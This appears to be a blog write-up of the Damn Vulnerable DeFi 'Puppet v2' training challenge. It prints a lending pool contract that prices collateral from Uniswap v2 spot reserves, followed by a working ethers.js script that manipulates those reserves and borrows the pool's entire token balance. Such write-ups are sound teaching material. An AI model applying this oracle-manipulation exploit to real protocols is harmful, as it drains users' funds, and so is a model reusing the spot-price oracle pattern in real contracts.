Damn Vulnerable DeFi - Puppet v2

The contract

The developers of the previous pool seem to have learned the lesson. And released a new version!
Now they’re using a Uniswap v2 exchange as a price oracle, along with the recommended utility libraries. That should be enough.
You start with 20 ETH and 10000 DVT tokens in balance. The pool has a million DVT tokens in balance. You know what to do.

The only contract associated with the challenge is the following one:

contract PuppetV2Pool {
    using SafeMath for uint256;

    address private _uniswapPair;
    address private _uniswapFactory;
    IERC20 private _token;
    IERC20 private _weth;

    mapping(address => uint256) public deposits;

    event Borrowed(address indexed borrower, uint256 depositRequired, uint256 borrowAmount, uint256 timestamp);

    constructor(address wethAddress, address tokenAddress, address uniswapPairAddress, address uniswapFactoryAddress)
        public
    {
        _weth = IERC20(wethAddress);
        _token = IERC20(tokenAddress);
        _uniswapPair = uniswapPairAddress;
        _uniswapFactory = uniswapFactoryAddress;
    }

    /**
     * @notice Allows borrowing tokens by first depositing three times their value in WETH
     *         Sender must have approved enough WETH in advance.
     *         Calculations assume that WETH and borrowed token have same amount of decimals.
     */
    function borrow(uint256 borrowAmount) external {
        // Calculate how much WETH the user must deposit
        uint256 amount = calculateDepositOfWETHRequired(borrowAmount);

        // Take the WETH
        _weth.transferFrom(msg.sender, address(this), amount);

        // internal accounting
        deposits[msg.sender] += amount;

        require(_token.transfer(msg.sender, borrowAmount), "Transfer failed");

        emit Borrowed(msg.sender, amount, borrowAmount, block.timestamp);
    }

    function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) {
        uint256 depositFactor = 3;
        return _getOracleQuote(tokenAmount).mul(depositFactor) / (1 ether);
    }

    // Fetch the price from Uniswap v2 using the official libraries
    function _getOracleQuote(uint256 amount) private view returns (uint256) {
        (uint256 reservesWETH, uint256 reservesToken) =
            UniswapV2Library.getReserves(_uniswapFactory, address(_weth), address(_token));
        return UniswapV2Library.quote(amount.mul(10 ** 18), reservesToken, reservesWETH);
    }
}

The imported contracts are standard ones, they are not modified, looking into them for the exploit is not relevant for the challenge.

The solution

Honestly, this challenge is PROBABLY part of the series only to teach students how to interact with Uniswap v2. Besides this detail, it's the same challenge as the first Puppet. You can refer to my writeup to read more about it.
The solution is also very similar. The random value you see deposited to get WETH back is the result of some trial and error with the help of the "console.log" you see everywhere in this solution.
Definitely not elegant, but if it works, don't fix it. The value to deposit could be computed just as well by applying the formula, as we know all the variables required (mainly, the balance of the Uniswap pool).
Anyhow, here it is:

        await token.connect(player).approve(uniswapRouter.address, await token.balanceOf(player.address));
        console.log(await token.balanceOf(player.address))
        currentBlock = await ethers.provider.getBlockNumber();
        block = await ethers.provider.getBlock(currentBlock);
        await uniswapRouter.connect(player).swapExactTokensForTokens(await token.balanceOf(player.address), 1, [token.address, weth.address], player.address, block.timestamp * 2);
        console.log(await token.balanceOf(player.address))
        console.log(await ethers.provider.getBalance(player.address))
        await weth.connect(player).deposit({value: 198n*10n**17n });
        console.log(await ethers.provider.getBalance(player.address))
        weth_req = await lendingPool.connect(player).calculateDepositOfWETHRequired(await token.balanceOf(lendingPool.address));
        console.log(weth_req);
        console.log(await weth.balanceOf(player.address));
        weth.connect(player).approve(lendingPool.address, weth_req);
        lendingPool.connect(player).borrow(await token.balanceOf(lendingPool.address));

Merry hacking ;)


You'll only receive email when they publish something new.

More from emacab98
All posts